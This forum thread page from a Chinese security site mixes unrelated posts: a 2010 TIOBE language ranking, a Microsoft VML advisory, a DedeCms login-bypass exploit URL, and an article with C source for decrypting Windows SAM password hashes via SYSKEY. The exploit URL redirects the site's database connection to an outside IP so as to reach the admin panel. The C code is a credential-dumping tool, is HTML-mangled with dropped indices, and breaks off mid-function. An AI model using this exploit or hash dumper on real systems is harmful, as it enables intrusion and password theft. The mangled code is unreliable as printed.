最近看过此主题的会员

返回列表 发帖

10月编程语言排行榜

本帖最后由 小一 于 2010-10-8 12:52 编辑

关注度极高但实质意义日趋平淡的TIOBE编程语言排行榜的10月榜单近日发布。与上月和相比,异常稳定的前10名语言排名(乃至前13名)都没有任何变化。而与去年相比,Objective-C的份额提升最多,达到为 2.54%;Python位居其次,0.96%;C#第三,增加0.55%。TIOBE一般是按这一指标在年初评选年度语言,因此这也意味 着,Objective-C成为2010年度语言已经基本上没有悬念了。毕竟像2009年那样在最后几个月出现Go这样的大黑马,只是极小概率的事件。
真正有意义的变化在13名之后:
1. Lisp即使在与Scheme和Clojure分家之后,上升的势头仍然很猛,是榜上的另一个亮点。要是加上同月Scheme的0.523,总数将逼近Delphi。
2. RPG、Ada等祖父级语言宝刀不老,甚至在上升势头上都压过了Lua、ActionScript这些看起来更时髦的小辈。
3. 在技术社区关注度极高的Erlang、Scala、F#等新宠,要么连50名都进不去,要么在边缘徘徊。
当然,必须认识到,这个榜单本身采集的是英文世界的数据,虽然在反映趋势上有较高的参考意义,但与中国的实际情况不完全符合,此外,这张采样本身也有相当大的局限性。《程序员》2010年8月刊的圆桌讨论“什么是最美丽的编程语言”中,许多专家也谈到了这一点。
这个排行榜从长期来看意义更大(所以应该多重视5年、10年的变化),短期则只有参考价值。请大家注意,我们每月按时编译排行榜,目的是告诉大家技术趋势,而不是引发没有内容的编程语言口水战(这类评论通常都会被删去,相关不良记录也会记入发帖者的帐号)。
我们想特别指出的是,各种语言都有其自身的长处和缺点,笼统比较优劣毫无意义。而且就目前一般的编程任务而言,基本上各种语言都能胜任,开发效率也 和使用者的熟练程度密切相关。语言的此消彼长,关键在于社区,如果你热爱哪一种语言,请到CSDN开设博客,多写自己的心得、经验、各种层次的教程,让更 多人体验到这种语言之美,扩大自己的社区。我们欢迎有质量有内容的语言和框架比较的技术文章,坚决排斥浪费自己和他人时间和资源的口水战。
前二十名编程语言排名如下:


2010年10月编程语言排行榜前20名
主要语言的长期变化趋势图如下:


前十名编程语言在5年、10年、15年前的排名情况:


21到50名编程语言排名如下:



PositionProgramming LanguageRatings
21NXT-G0.616%
22PowerShell0.615%
23PL/SQL0.605%
24Lua0.556%
25ABAP0.552%
26Scheme0.523%
27Fortran0.463%
28Object Pascal0.453%
29Alice0.448%
30Logo0.417%
31C shell0.410%
32Tcl0.399%
33D0.399%
34COBOL0.383%
35ActionScript0.365%
36Scratch0.361%
37R0.360%
38Visual Basic .NET0.325%
39CL (OS/400)0.324%
40Haskell0.318%
41cT0.311%
42JavaFX Script0.307%
43Prolog0.288%
44APL0.276%
45IDL0.269%
46Forth0.268%
47JScript.NET0.266%
48Smalltalk0.246%
49Scala0.239%
50ML0.230%

【说明】
TIOBE编程语言社区排行榜是编程语言流行趋势的一个指标。每月更新。这份排行榜排名基于互联网上有经验的程序员、课程和第三方厂商的数量。排名 使用著名的搜索引擎(诸如Google、 MSN 、雅虎)以及Wikipedia和YouTube进行计算。请注意这个排行榜只是反映某个编程语言的热门程度,并不能说明一门编程语言好不好,或者一门语 言所编写的代码数量多少。
这个排行榜可以用来考查你的编程技能是否与时俱进,也可以在开始开发新系统时选择语言时用来进行策略性的决策。
附件: 您需要登录才可以下载或查看附件。没有帐号?进入圈子
非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:小一发表,本帖发表者小一符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者小一和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

MS07-050: 矢量标记语言中的漏洞能允许远程执行
发布日期: 八月 14, 2007版本: 1.0
摘要:
此安全更新可解决 Windows 上矢量标记语言 (VML) 实施中的秘密报告的漏洞。 如果用户使用 Internet Explorer 查看特制网页,此漏洞可能允许远程执行代码。 那些帐户被配置为拥有较少系统用户权限的用户比具有管理用户权限的用户受到的影响要小。
对于受支持版本 Internet Explorer 5.01、Internet Explorer 6 和 Internet Explorer 7,此安全更新等级为“严重”。
此安全更新通过加强验证在 Internet Explorer 中呈现 VML 的请求来消除该漏洞。
建议。 Microsoft 建议用户立即应用此更新。
受影响的软件
操作系统 组件 最大安全影响 综合严重程度等级 此更新替代的公告  Internet Explorer 5.01 和 Internet Explorer 6 Service Pack 1         Microsoft Windows 2000 Service Pack 4 Microsoft Internet Explorer 5.01 Service Pack 4 远程执行代码 严重 MS07-004 Microsoft Windows 2000 Service Pack 4 Microsoft Internet Explorer 6 Service Pack 1 远程执行代码 严重 MS07-004 Internet Explorer 6         Windows XP Service Pack 2 Microsoft Internet Explorer 6 远程执行代码 严重 MS07-004 Windows XP Professional x64 Edition 和 Windows XP Professional x64 Edition Service Pack 2 Microsoft Internet Explorer 6 远程执行代码 严重 MS07-004 Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2 Microsoft Internet Explorer 6 远程执行代码 严重 MS07-004 Windows Server 2003 x64 Edition 和 Windows Server 2003 x64 Edition Service Pack 2 Microsoft Internet Explorer 6 远程执行代码 严重 MS07-004 Windows Server 2003 SP1(用于基于 Itanium 的系统)以及 Windows Server 2003 SP2(用于基于 Itanium 的系统) Microsoft Internet Explorer 6 远程执行代码 严重 MS07-004 Internet Explorer 7         Windows XP Service Pack 2 Windows Internet Explorer 7 远程执行代码 严重 MS07-004 Windows XP Professional x64 Edition 和 Windows XP Professional x64 Edition Service Pack 2 Windows Internet Explorer 7 远程执行代码 严重 MS07-004 Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2 Windows Internet Explorer 7 远程执行代码 严重 MS07-004 Windows Server 2003 x64 Edition 和 Windows Server 2003 x64 Edition Service Pack 2 Windows Internet Explorer 7 远程执行代码 严重 MS07-004 Windows Server 2003 SP1(用于基于 Itanium 的系统)以及 Windows Server 2003 SP2(用于基于 Itanium 的系统) Windows Internet Explorer 7 远程执行代码 严重 MS07-004 Windows Vista Windows Internet Explorer 7 远程执行代码 严重 无 Windows Vista x64 Edition Windows Internet Explorer 7 远程执行代码 严重 无
微软的安全公告:
http://www.microsoft.com/china/technet/security/bulletin/MS07-050.mspx
(以上链接均连到第三方网站)


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

织梦(DedeCms) v5.6-5.7 越权访问漏洞
http://www.XXXX.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面validate=dcug改为当前的验证码,即可直接进入网站后台
此漏洞的前提是必须得到后台路径才能实现
官方临时解决办法:
找到include/common.inc.php文件,把:
    foreach($_REQUEST as $_k=>$_v)
    {
        var_dump($_k);
        if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
        {
            exit('Request var not allow!');
        }
    }
换成:
    //检查和注册外部提交的变量
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
            {
                exit('Request var not allow!');
            }
        }
    }
    CheckRequest($_REQUEST);


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

百度一下,找到相关网页约15,600篇,用时0.001秒     


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

SAM的散列存储加密解密算法以及SYSKEY的计算
SAM的散列存储加密解密算法以及SYSKEY的计算转摘请注明作者和安全焦点作者:FLASHSKYSITE:WWW.XFOCUS.NET,WWW.SHOPSKY.COM邮件:flashsky@xfocus.org作者单位:启明星辰积极防御实验室    SAM中存放在密码散列这是大家都知道的,但是其密码存放在对应相对SID的V键下面却是一种加密的形式,如何通过这个加密的串计算出密码散列了,大家用PWDUMP3这样的工具可以导出散列来,主要原理是系统空间会存在一个sampsecretsessionkey,PWDUMP3就是拷贝一个服务到对方机器上,读出这个lsass进程空间的sampsecretsessionkey再进行解密的,其实这个sampsecretsessionkey的生成也是非常复杂的,我们这里做一个比PWDUMP3更深入的一个探讨和分析,sampsecretsessionkey的计算与生成,这样我们就能在直接从物理文件中计算出sampsecretsessionkey,来解密注册表中的密码散列,对于一个忘记密码的系统或一个不知道用户口令但已经获得磁盘的系统有这重要意义,这样我们完全就能通过注册表文件的分析来解密注册表中的密码散列。        通过分析,我们发现以前在NT中常说的SYSKEY在W2K系统的这个过程中起着非常重要的作用,其实SYSKEY已经做为W2K的一个固定组件而存在了,我们下面给出一个整个过程:         系统引导时:        计算获得SYSKEY        读取注册表中的SAMSAMDomainsAccounV中保存的KEY信息(一般是最后的0X38字节的前0X30字节)        使用SYSKEY和F键的前0X10字节,与特殊的字串"!@#$%^&amp;*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&amp;%","0123456789012345678901234567890123456789"做MD5运算,再与F键的后0X20字节做RC4运算就可以获得sampsecretsessionkey,这个sampsecretsessionkey固定存放在LSASS进程中,作为解密SAM中加密数据到散列时用    -------------------------------------------------|系统计算出的SYSKEY                              ||F键信息的前0x10字节                             |MD5|"!@#$%^&amp;*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&amp;%"|--->------|"0123456789012345678901234567890123456789"      |          |RC4--------------------------------------------------          |------>sampsecretsessionkey                                                            |                     F键信息的后0x20字节 -------------------        当需要解密SAM中加密数据到散列时(如远程登陆):        读取sampsecretsessionkey,再与当前用户的相对SID,散列类型名(如LMPASSWORD,NTPASSWORD)做MD5运算获得针对这个用户密码散列的sessionkey        利用sessionkey用RC4解密第一道加密的散列,再将用户相对ID扩展成14字节做DES切分,生成DESECB,再对用RC4处理后的散列进行分开成2次DES解密就可以获得密码散列。       -------------------------       |sampsecretsessionkey   |       |sid                    |MD5       |"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---       |                       |                 |RC4    2次DES(填充SID做KEY切分)       -------------------------                 |----->-------------------------->HASH                                                                          |                对应的SAM中加密的密码散列 ---------------------------------    这个算法相当好,保证了不同用户的相同散列在SAM存放不一样(相对SID不一样),不同机器的同一SID同口令的SAM中的散列存放不一样(SYSKEY不同);        这个算法的DES/RC4都是可逆的,这样如果我们能通过离线(文件)方式获得SYSKEY的话(其他的信息都可以分析SAM文件获得),我们完全实现离线修改SAM中口令的效果,不过这需要对注册表的结构和SAM中V/F键的数据结构再做深入的研究,这里就不谈了。        那么SYSKEY是如何计算出来的呢?这可能是我发现MS最牛皮的一个地方了,先开始想一定会存放在注册表某处,呵呵,最后跟踪MS引导时候的WINLOGON进程才知道,SYSKEY是这样计算出来的,很多人会大掉眼镜吧:        SYSKEY的计算是:SYSTEM\CurrentControlSet\Control\Lsa下的        JD,Skew1,GBG,Data四个键值的CLASS值通过换位得来的,靠,佩服MS。这样我们完全可以离线分析注册表就能获得对其SAM的加密散列的导出或改写了。    下面就是给出的完全实现计算SYSKEY-》sampsecretsessionkey,对特定用户的SAM中加密的密码散列再解密的代码:当然如果从运行系统中解密散列也可以直接读取sampsecretsessionkey,就象PWDUMP3那样做的一样也是可以的,但是如果要实现离线的就还需要再分析更多的东西。    另外关于PWDUMP具体的方法,由于其是加密和反跟踪的,我没时间做仔细调式分析,但是从REGMON监视其注册表操作的过程来说,是没有去读LSA下的任何东西的,因此可以断定他是直接获得ampsecretsessionkey来进行对SAM内容的解密到散列的。//下面几个函数的实现,DES相关的盒,ECB等的定义参考我以前发的文章 中的代码,这里不再给出//void deskey(char * LmPass,unsigned char * desecb)//void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);//void md5init(unsigned char * LM);//void md5final(unsigned char * LM);//void initLMP(char * pass,unsigned char * LM);//以前给出的des函数的实现没有解密的部分,并且有个小错误,因此这里再给出完整的一个#include <stdio.h>#include <windows.h>#include "des.h"void getsyskey(unsigned char * syskey);void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey);void md5init(unsigned char * LM);void md5final(unsigned char * LM);void rc4_key(unsigned char * rc4keylist,unsigned char * rc4key,int keylen);void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key);void getsamkey(unsigned char * sampsskey,unsigned char * uid,unsigned char * passwordtype,unsigned char * sessionkey);void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid);void initLMP(char * pass,unsigned char * LM);void deskey(char * LmPass,unsigned char * desecb);void des(unsigned char * LM,char * magic,unsigned char * ecb,long no);void main(){    int i;    //下面为了简单,这3个是直接指定的用户,相对SID的注册表键名和相对SID,大家也可以写成完全根据用户名获取的方式    char username[]="SAM\SAM\Domains\Account\Users\Names\administrator";    char keyname[]="SAM\SAM\Domains\Account\Users\000001F4";    unsigned long uid=0x1F4;    unsigned char syskey[0x10];    unsigned char ensamnt[0x10];    unsigned char ensamlm[0x10];    unsigned char sessionkey[0x10];    unsigned char buf[0x400];    unsigned char sampsecretsessionkey[0x10];    unsigned char lmhash[0x10];    unsigned char nthash[0x10];    unsigned char fkey[0x30];    unsigned long ss;    DWORD regtype;    DWORD regint;    unsigned char passwordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};    HKEY hkResult;    HKEY hkResult1;    //SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码    //读出F键中用于计算    regint=0x400;    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\SAM\Domains\Account",0,KEY_READ,&amp;hkResult);    if(ss!=0)        printf("no Privilege!
");    ss=RegQueryValueEx(hkResult,"F", NULL,&amp;regtype,buf,&amp;regint);    for(i=regint-1;i>=0;i--)        if(buf!=0)            break;    memcpy(fkey,buf+i-0x2f,0x30);    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&amp;hkResult);    //检查此用户是否存在    if(ss!=ERROR_SUCCESS)        return;    //读取该用户下的V键中加密的散列信息    //由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此    //但也不排除例外,那就需要具体分析V中的结构来计算了    regint=0x400;    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&amp;hkResult);    ss=RegQueryValueEx(hkResult,"V", NULL,&amp;regtype,buf,&amp;regint);    memcpy(ensamnt,buf+regint-0x18,0x10);    memcpy(ensamlm,buf+regint-0x2c,0x10);        //计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件    getsyskey(syskey);    //利用SYSKEY,F键中的KEY计算sampsecretsessionkey    getsampsecretsessionkey(syskey,fkey);    memcpy(sampsecretsessionkey,fkey+0x10,0x10);    //上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内    //当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理    //根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的    getsamkey(sampsecretsessionkey,&amp;uid,passwordtype[0],sessionkey);    memcpy(lmhash,ensamlm,0x10);    //利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列    getsamhash(lmhash,sessionkey,&amp;uid);    printf("HASH::");    for(i=0;i<0x10;i++)        printf("%02x",lmhash);    printf(":");    //根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的    getsamkey(sampsecretsessionkey,&amp;uid,passwordtype[1],sessionkey);    memcpy(nthash,ensamnt,0x10);    //利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列    getsamhash(nthash,sessionkey,&amp;uid);    for(i=0;i<0x10;i++)        printf("%02x",nthash);    printf("
");}void getsamhash(unsigned char * ensaminfo,unsigned char * sessionkey,unsigned char * uid){    //利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列    unsigned char desecb[128];    unsigned char rc4keylist[0x102];    unsigned char LM[0x10];    unsigned char p1[0xe];    unsigned char p2[0x10];    memcpy(p1,uid,4);    memcpy(p1+4,uid,4);    memcpy(p1+8,uid,4);    memcpy(p1+0xc,uid,2);    //上面是用SID填充DESECB的KEY    rc4_key(rc4keylist,sessionkey,0x10);    rc4_2bc6(rc4keylist,0x10,ensaminfo);    //RC4处理一次再用DES解密    initLMP(p1,LM);    deskey(LM,desecb);    des(p2,ensaminfo,desecb,0);    initLMP(p1+7,LM);    deskey(LM,desecb);    des(p2+8,ensaminfo+8,desecb,0);    memcpy(ensaminfo,p2,0x10);}void getsamkey(unsigned char * sampsskey,unsigned long * uid,unsigned char * passwordtype,unsigned char * sessionkey){    //根据具体用户的相对SID,要恢复散列的散列类型,MD5生成SESSIONKEY    unsigned char LM[0x58];    int len,i;    md5init(LM);    for(i=0;i<20;i++)        if(passwordtype==0)            break;    len=i+1;    memcpy(LM+0x18,sampsskey,0x10);    memcpy(LM+0x28,(unsigned char *)uid,4);    memcpy(LM+0x2c,passwordtype,len);    memset(LM+0x2c+len,0x80,1);    memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));    *(DWORD *)LM=0x200;    *(DWORD *)(LM+0X50)=0xF8;    md5final(LM);    memcpy(sessionkey,LM+8,0x10);}void getsyskey(unsigned char * syskey){    unsigned char keyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,        0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};      //换位表    unsigned char syskey1[0x10];    HKEY hkResult;    HKEY hkResult1;    int i,j;    long ss;    unsigned char classinfo[0x10];    DWORD c1;    ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\CurrentControlSet\Control\Lsa",0,KEY_READ,&amp;hkResult);    if(ss!=ERROR_SUCCESS)        return;    ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&amp;hkResult1);    i=0;    memset(syskey1,0,0x10);    c1=0x10;    if(ss==ERROR_SUCCESS)    {        ss=RegQueryInfoKey(hkResult1,classinfo,&amp;c1,0,0,0,0,0,0,0,0,0);        RegCloseKey(hkResult1);        if(ss==ERROR_SUCCESS)        {            printf("%s
",classinfo);            for(j=0;j<8;j++)            {                if(classinfo[j]>=0x30 &amp;&amp; classinfo[j]<=0x39)                    classinfo[j]=classinfo[j]-0x30;                else if(classinfo[j]>='a' &amp;&amp; classinfo[j]<='f')                    classinfo[j]=classinfo[j]-'a'+0xa;                else if(classinfo[j]>='A' &amp;&amp; classinfo[j]<='F')                    classinfo[j]=classinfo[j]-'A'+0xa;                else                    return;            }            syskey1[i+0]=16*classinfo[0]+classinfo[1];            syskey1[i+1]=16*classinfo[2]+classinfo[3];            syskey1[i+2]=16*classinfo[4]+classinfo[5];            syskey1[i+3]=16*classinfo[6]+classinfo[7];            i=i+4;        }    }    c1=0x10;    ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&amp;hkResult1);    if(ss==ERROR_SUCCESS)    {        ss=RegQueryInfoKey(hkResult1,classinfo,&amp;c1,0,0,0,0,0,0,0,0,0);        RegCloseKey(hkResult1);        if(ss==ERROR_SUCCESS)        {            printf("%s
",classinfo);            for(j=0;j<8;j++)            {                if(classinfo[j]>=0x30 &amp;&amp; classinfo[j]<=0x39)                    classinfo[j]=classinfo[j]-0x30;                else if(classinfo[j]>='a' &amp;&amp; classinfo[j]<='f')                    classinfo[j]=classinfo[j]-'a'+0xa;                else if(classinfo[j]>='A' &amp;&amp; classinfo[j]<='F')                    classinfo[j]=classinfo[j]-'A'+0xa;                else                    return;            }            syskey1[i+0]=16*classinfo[0]+classinfo[1];            syskey1[i+1]=16*classinfo[2]+classinfo[3];            syskey1[i+2]=16*classinfo[4]+classinfo[5];            syskey1[i+3]=16*classinfo[6]+classinfo[7];            i=i+4;        }    }    c1=0x10;    ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&amp;hkResult1);    if(ss==ERROR_SUCCESS)    {        ss=RegQueryInfoKey(hkResult1,classinfo,&amp;c1,0,0,0,0,0,0,0,0,0);        RegCloseKey(hkResult1);        if(ss==ERROR_SUCCESS)        {            printf("%s
",classinfo);            for(j=0;j<8;j++)            {                if(classinfo[j]>=0x30 &amp;&amp; classinfo[j]<=0x39)                    classinfo[j]=classinfo[j]-0x30;                else if(classinfo[j]>='a' &amp;&amp; classinfo[j]<='f')                    classinfo[j]=classinfo[j]-'a'+0xa;                else if(classinfo[j]>='A' &amp;&amp; classinfo[j]<='F')                    classinfo[j]=classinfo[j]-'A'+0xa;                else                    return;            }            syskey1[i+0]=16*classinfo[0]+classinfo[1];            syskey1[i+1]=16*classinfo[2]+classinfo[3];            syskey1[i+2]=16*classinfo[4]+classinfo[5];            syskey1[i+3]=16*classinfo[6]+classinfo[7];            i=i+4;        }    }    c1=0x10;    ss=RegOpenKeyEx(hkResult,"Data",0,KEY_READ,&amp;hkResult1);    if(ss==ERROR_SUCCESS)    {        ss=RegQueryInfoKey(hkResult1,classinfo,&amp;c1,0,0,0,0,0,0,0,0,0);        RegCloseKey(hkResult1);        if(ss==ERROR_SUCCESS)        {            printf("%s
",classinfo);            for(j=0;j<8;j++)            {                if(classinfo[j]>=0x30 &amp;&amp; classinfo[j]<=0x39)                    classinfo[j]=classinfo[j]-0x30;                else if(classinfo[j]>='a' &amp;&amp; classinfo[j]<='f')                    classinfo[j]=classinfo[j]-'a'+0xa;                else if(classinfo[j]>='A' &amp;&amp; classinfo[j]<='F')                    classinfo[j]=classinfo[j]-'A'+0xa;                else                    return;            }            syskey1[i+0]=16*classinfo[0]+classinfo[1];            syskey1[i+1]=16*classinfo[2]+classinfo[3];            syskey1[i+2]=16*classinfo[4]+classinfo[5];            syskey1[i+3]=16*classinfo[6]+classinfo[7];            i=i+4;        }    }    //这4个键的CLASS值组合起来做换位就是MS的SYSKEY了    for(i=0;i<0x10;i++)    {        syskey[keyselect]=syskey1;    }    for(i=0;i<0x10;i++)        printf("0x%02x ",syskey);    printf("
");}void getsampsecretsessionkey(unsigned char * syskey,unsigned char * fkey){    unsigned char LM[0x58];    unsigned char rc4keylist[0x102];    char m1[]="!@#$%^&amp;*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&amp;%";    char m2[]="0123456789012345678901234567890123456789";    md5init(LM);    memcpy(LM+0x18,fkey,0x10);    memcpy(LM+0x28,m1,0x2f);    memcpy(LM+0x57,syskey,1);    *(DWORD *)LM=0x278;    md5final(LM);    memcpy(LM+0x18,syskey+1,0xf);    memcpy(LM+0x27,m2,0x29);    *(DWORD *)LM=0x5c0;    memset(LM+0x50,0x80,1);    memset(LM+0x51,0,7);    md5final(LM);    *(DWORD *)LM=0x600;    memset(LM+0x18,0,0x38);    *(DWORD *)(LM+0x50)=0x3c0;    *(DWORD *)(LM+0x54)=0;    md5final(LM);    rc4_key(rc4keylist,LM+8,0x10);    rc4_2bc6(rc4keylist,0x20,fkey+0x10);    //这里生成在fkey中的前0X10字节就是sampsecretsessionkey    md5init(LM);    memcpy(LM+0x18,fkey+0x10,0x10);    memcpy(LM+0x28,m2,0x29);    memcpy(LM+0x51,fkey+0x10,0x7);    *(DWORD *)LM=0x248;    md5final(LM);    memcpy(LM+0x18,fkey+0x17,0x9);    memcpy(LM+0x21,m1,0x2f);    memset(LM+0x50,0x80,1);    memset(LM+0x51,0,7);    *(DWORD *)LM=0x5c0;    md5final(LM);    memset(LM+0x18,0,0x40);    *(DWORD *)LM=0x600;    *(DWORD *)(LM+0x50)=0x3c0;    *(DWORD *)(LM+0x54)=0;    md5final(LM);}void rc4_2bc6(unsigned char * rc4keylist,int keylen,unsigned char * key){    unsigned long c1;    unsigned char d1,b1,a1;    int i;    c1=rc4keylist[0x100];    d1=rc4keylist[0x101];    for(i=0;i<keylen;i++)    {        c1=c1++;        c1=c1%256;        a1=rc4keylist[c1];        d1=d1+a1;        b1=rc4keylist[d1];        rc4keylist[c1]=b1;        rc4keylist[d1]=a1;        a1=a1+b1;        b1=key;        a1=rc4keylist[a1];        b1=b1^a1;        key=b1;    }}void des(unsigned char * LM,char * magic,unsigned char * ecb,long no){    DWORD d1,d2,d3,d4;    DWORD a1,a2,a3;    int i;    d1= *(DWORD *)magic;    d2= *(DWORD *)(magic+4);    d1 = (d1<<4)|(d1>>0x1c);    d3 = d1;    d1 = (d1^d2)&amp;0xf0f0f0f0;    d3 = d3^d1;    d2 = d2^d1;    d2 =(d2<<0x14)|(d2>>0xc);    d1 = d2;    d2 = (d2^d3)&amp;0xfff0000f;    d1 = d1 ^ d2;    d3 = d3^d2;    d1 = (d1<<0xe)|(d1>>0x12);    d2 = d1;    d1 = (d1 ^ d3) &amp; 0x33333333;    d2 = d2 ^ d1;    d3 = d3^d1;    d3 = (d3<<0x16)|(d3>>0xa);    d1 = d3;    d3 = (d3 ^ d2)&amp;0x3fc03fc;    d1 = d1^d3;    d2 = d2^d3;    d1 = (d1<<9)|(d1>>0x17);    d3 = d1;    d1 = (d1^d2)&amp;0xaaaaaaaa;    d3 = d3^d1;    d2 = d2^d1;    d2 = (d2<<1)|(d2>>0x1f);    if(no!=0)    {        for(i=0;i<8;i++)        {            a1=0;            d1=*(DWORD *)(ecb+16*i);            d4=*(DWORD *)(ecb+16*i+4);            d1=(d1^d3)&amp;0xfcfcfcfc;            d4=(d4^d3)&amp;0xcfcfcfcf;            a1=d1&amp;0xff;            a2=(d1>>8)&amp;0xff;            d4=(d4>>4)|(d4<<0x1c);            a3=DESSpBox1[a1/4];            a1=d4&amp;0xff;            d2=d2^a3;            a3=DESSpBox3[a2/4];            d2=d2^a3;            a2=(d4>>8)&amp;0xff;            d1=d1>>0x10;            a3=DESSpBox2[a1/4];            d2=d2^a3;            a1=(d1>>8)&amp;0xff;            d4=d4>>0x10;            a3=DESSpBox4[a2/4];            d2=d2^a3;            a2=(d4>>8)&amp;0xff;            d1=d1&amp;0xff;            d4=d4&amp;0xff;            a1=DESSpBox7[a1/4];            d2=d2^a1;            a1=DESSpBox8[a2/4];            d2=d2^a1;            a1=DESSpBox5[d1/4];            d2=d2^a1;            a1=DESSpBox6[d4/4];            d2=d2^a1;            a1=0;            d1=*(DWORD *)(ecb+16*i+8);            d4=*(DWORD *)(ecb+16*i+0xc);            d1=(d1^d2)&amp;0xfcfcfcfc;            d4=(d4^d2)&amp;0xcfcfcfcf;            a1=d1&amp;0xff;            a2=(d1>>8)&amp;0xff;            d4=(d4>>4)|(d4<<0x1c);            a3=DESSpBox1[a1/4];            a1=d4&amp;0xff;            d3=d3^a3;            a3=DESSpBox3[a2/4];            d3=d3^a3;            a2=(d4>>8)&amp;0xff;            d1=d1>>0x10;            a3=DESSpBox2[a1/4];            d3=d3^a3;            a1=(d1>>8)&amp;0xff;            d4=d4>>0x10;            a3=DESSpBox4[a2/4];            d3=d3^a3;            a2=(d4>>8)&amp;0xff;            d1=d1&amp;0xff;            d4=d4&amp;0xff;            a1=DESSpBox7[a1/4];            d3=d3^a1;            a1=DESSpBox8[a2/4];            d3=d3^a1;            a1=DESSpBox5[d1/4];            d3=d3^a1;            a1=DESSpBox6[d4/4];            d3=d3^a1;        }        d3=(d3>>1)|(d3<<0x1f);        d1=d2;        d2=(d2^d3)&amp;0XAAAAAAAA;        d1=d1^d2;        d3=d3^d2;        d1=(d1<<0x17)|(d1>>9);        d2=d1;        d1=(d1^d3)&amp;0x3fc03fc;        d2=(d2^d1);        d3=d3^d1;        d2=(d2<<0xa)|(d2>>0x16);        d1=d2;        d2=(d2^d3)&amp;0x33333333;        d1=d1^d2;        d3=d3^d2;        d3=(d3<<0x12)|(d3>>0xe);        d2=d3;        d3=(d3^d1)&amp;0xfff0000f;        d2=d2^d3;        d1=d1^d3;        d2=(d2<<0xc)|(d2>>0x14);        d3=d2;        d2=(d2^d1)&amp;0xf0f0f0f0;        d3=d3^d2;        d1=d1^d2;        d1=(d1>>4)|(d1<<0x1c);        *(DWORD *)LM=d1;        *(DWORD *)(LM+4)=d3;    }    else    {        for(i=7;i>=0;i--)        {            a1=0;            d1=*(DWORD *)(ecb+16*i+8);            d4=*(DWORD *)(ecb+16*i+0xc);            d1=(d1^d3)&amp;0xfcfcfcfc;            d4=(d4^d3)&amp;0xcfcfcfcf;            a1=d1&amp;0xff;            a2=(d1>>8)&amp;0xff;            d4=(d4>>4)|(d4<<0x1c);            a3=DESSpBox1[a1/4];            a1=d4&amp;0xff;            d2=d2^a3;            a3=DESSpBox3[a2/4];            d2=d2^a3;            a2=(d4>>8)&amp;0xff;            d1=d1>>0x10;            a3=DESSpBox2[a1/4];            d2=d2^a3;            a1=(d1>>8)&amp;0xff;            d4=d4>>0x10;            a3=DESSpBox4[a2/4];            d2=d2^a3;            a2=(d4>>8)&amp;0xff;            d1=d1&amp;0xff;            d4=d4&amp;0xff;            a1=DESSpBox7[a1/4];            d2=d2^a1;            a1=DESSpBox8[a2/4];            d2=d2^a1;            a1=DESSpBox5[d1/4];            d2=d2^a1;            a1=DESSpBox6[d4/4];            d2=d2^a1;            a1=0;            d1=*(DWORD *)(ecb+16*i+0);            d4=*(DWORD *)(ecb+16*i+0x4);            d1=(d1^d2)&amp;0xfcfcfcfc;            d4=(d4^d2)&amp;0xcfcfcfcf;            a1=d1&amp;0xff;            a2=(d1>>8)&amp;0xff;            d4=(d4>>4)|(d4<<0x1c);            a3=DESSpBox1[a1/4];            a1=d4&amp;0xff;            d3=d3^a3;            a3=DESSpBox3[a2/4];            d3=d3^a3;            